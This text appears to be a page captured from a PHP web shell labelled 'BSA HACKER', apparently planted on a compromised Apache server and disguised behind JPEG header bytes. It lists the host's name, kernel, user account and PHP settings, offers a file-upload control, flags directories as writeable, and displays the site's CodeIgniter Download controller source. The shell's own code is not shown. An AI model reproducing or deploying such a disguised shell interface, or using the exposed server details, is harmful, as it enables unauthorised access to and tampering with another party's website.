ÿØÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/public_html/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/public_html/app/Controllers/Download.php
<?php

namespace App\Controllers;

use App\Models\Download_model;
use App\Models\Konfigurasi_model;

class Download extends BaseController
{
    // Download
    public function index()
    {
        $m_konfigurasi = new Konfigurasi_model();
        $m_download    = new Download_model();
        $konfigurasi   = $m_konfigurasi->listing();
        $download      = $m_download->jenis_download('Download');

        $data = ['title'  => 'Download File',
            'description' => 'Download File ' . $konfigurasi['namaweb'] . ', ' . $konfigurasi['tentang'],
            'keywords'    => 'Download File ' . $konfigurasi['namaweb'] . ', ' . $konfigurasi['keywords'],
            'download'    => $download,
            'konfigurasi' => $konfigurasi,
            'content'     => 'download/index',
        ];
        echo view('layout/wrapper', $data);
    }

    // Unduh
    public function unduh($id_download)
    {
        $m_download = new Download_model();
        $download   = $m_download->detail($id_download);
        // Update hits
        $data = ['id_download' => $download['id_download'],
            'hits'             => $download['hits'] + 1,
        ];
        $m_download->edit($data);
        // Update hits
        return $this->response->download('../assets/upload/file/' . $download['gambar'], null);
    }
}